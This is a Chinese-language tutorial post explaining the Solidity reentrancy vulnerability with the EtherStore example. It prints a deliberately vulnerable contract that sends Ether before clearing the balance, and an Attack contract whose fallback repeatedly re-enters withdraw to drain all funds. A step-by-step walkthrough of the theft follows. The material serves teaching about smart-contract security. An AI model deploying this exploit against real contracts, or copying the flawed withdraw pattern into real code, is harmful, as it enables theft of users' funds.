重入漏洞EtherStore
- 互联网
- 2025-08-15 17:27:02

重入漏洞
// SPDX-License-Identifier: MIT pragma solidity ^0.8.13; contract EtherStore { mapping(address => uint) public balances; function deposit() public payable { balances[msg.sender] += msg.value; } function withdraw() public { uint bal = balances[msg.sender]; require(bal > 0); (bool sent, ) = msg.sender.call{value: bal}(""); require(sent, "Failed to send Ether"); balances[msg.sender] = 0; } // Helper function to check the balance of this contract function getBalance() public view returns (uint) { return address(this).balance; } } contract Attack { EtherStore public etherStore; constructor(address _etherStoreAddress) { etherStore = EtherStore(_etherStoreAddress); } // Fallback is called when EtherStore sends Ether to this contract. fallback() external payable { if (address(etherStore).balance >= 1 ether) { etherStore.withdraw(); } } function attack() external payable { require(msg.value >= 1 ether); etherStore.deposit{value: 1 ether}(); etherStore.withdraw(); } // Helper function to check the balance of this contract function getBalance() public view returns (uint) { return address(this).balance; } }这个被攻击的EtherStore合约,可以用来deposit和withdraw以太币。withdraw函数的基本逻辑是:
判断sender的余额是否大于0,是的话下一步;使用call方法给sender发送合约里属于sender所有的余额,成功发送的话下一步;将合约中属于sender的余额值清零。在攻击合约Attack合约中,先看attack函数,基本逻辑就是先调用deposit存入1个以太,再调用withdraw取出。然而关键的代码在fallback函数中,这个fallback函数会先检测被攻击合约EtherStore的余额,如果大于1个以太,就执行withdraw。 知道这些概念后,就可以演示攻击过程了:
1.假设EtherStore合约中有10个ETH的余额;2.攻击者点击attack函数,先执行deposit于是攻击者就存入了1个ETH,接下来执行withdraw,withdraw函数前两行成功通过,开始使用call函数发送属于sender(这里是Attack合约)的余额;3.Attack合约收到余额后,根据我们上图所示,先看msg.data是否为空?是;receive是否存在?否;于是进入fallback函数;4.fallback函数中,先检测EtherStore的余额,这里应当是10 - 1 = 9 Ether,通过,于是又执行withdraw;5.withdraw函数先检测前两行,(注意,这是攻击过程的关键点!)属于sender的余额为不为0呢?答案是不为0,仍然能通过,因为上次执行withdraw函数,其实还停留在call发送Ether的那一步,下一步还没有执行,EtherStore中的balance值还没有更新,因此这里还是能通过,继续执行到下一个call发送余额,这样又把合约余额发送过去了;6.Attack合约的fallback函数又开始重复withdraw,一直等到EtherStore合约中的余额为0,Attack合约的fallback函数不能通过余额检测的时候,整个提取过程才会停止。7.执行完成,被攻击合约的所有10个ETH都被发送到了被攻击合约Attack上了。这里的例子,Attack合约其实用receive函数也是可以的,而且合约里是可以有单独的receive函数,但是单独的fallback函数就会报warning。
重入漏洞EtherStore由讯客互联互联网栏目发布,感谢您对讯客互联的认可,以及对我们原创作品以及文章的青睐,非常欢迎各位朋友分享到个人网站或者朋友圈,但转载请说明文章出处“重入漏洞EtherStore”